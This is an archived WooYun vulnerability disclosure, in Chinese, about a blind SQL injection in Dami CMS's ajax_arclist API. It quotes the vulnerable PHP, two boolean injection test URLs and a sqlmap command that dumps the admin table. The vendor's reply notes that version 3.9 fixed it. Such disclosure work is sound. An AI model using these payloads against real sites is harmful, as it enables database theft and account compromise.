乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-11-01: 细节已通知厂商并且等待厂商处理中 2014-11-01: 厂商已经确认,细节仅向厂商公开 2014-11-04: 细节向第三方安全合作伙伴开放 2014-12-26: 细节向核心白帽子及相关领域专家公开 2015-01-05: 细节向普通白帽子公开 2015-01-15: 细节向实习白帽子公开 2015-01-30: 细节向公众公开
大米CMS某处SQL盲注第二发,可直接拖库
文件/Web/Lib/Action/ApiAction.class.php
//万能获取数据接口function ajax_arclist(){$prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true; //表过滤防止泄露信息,只允许的表 if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();} if(!empty($_REQUEST['model'])){ if($prefix == true){ $model = C('DB_PREFIX').$_REQUEST['model']; } else{ $model = $_REQUEST['model']; } }else{ $model = C('DB_PREFIX').'article'; } $order =!empty($_REQUEST['order'])?$_REQUEST['order']:''; $num =!empty($_REQUEST['num'])?$_REQUEST['num']:''; $where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):''; //使where支持 条件判断,添加不等于的判断 $page=false; echo $_REQUEST['page']; if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page']; $pagesize =!empty($_REQUEST['pagesize'])?$_REQUEST['pagesize']:'10'; //$query =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用 $field =!empty($_REQUEST['field'])?$_REQUEST['field']:''; $m=new Model($model,"",false); //如果使用了分页,缓存也不生效 if($page){ import("@.ORG.Page"); //这里改成你的Page类 $count=$m->where($where)->count(); $total_page = ceil($count / $pagesize); $p = new Page($count,$pagesize); //如果使用了分页,num将不起作用 $t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select(); //echo $m->getLastSql(); $ret = array('total_page'=>$total_page,'data'=>$t); } //如果没有使用分页,并且没有 query if(!$page){ $ret=$m->field($field)->where($where)->order($order)->limit($num)->select(); } $this->ajaxReturn($ret,'返回信息',1); }
当满足这个条件时:
in_array($_REQUEST['model'],array('article','type','ad','label','link'))
where就被赋值了
$where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):'';
然后将where就带入SQL语句
$count=$m->where($where)->count();
导致SQL注入
标准的盲注:
http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=1
http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=2
用SQLmap跑一下数据:
python sqlmap.py -u "http://10.65.20.198/dami/index.php?s=/api/ajax_arclist/model/article/where/123*" -D "dami" -T "dami_admin" --dump -v 3
管理员账户信息:
intval($_REQUEST['where'])
危害等级:中
漏洞Rank:8
确认时间:2014-11-01 17:21
大米团队自身也发现了这漏洞3.9己修正,但还是很感谢
暂无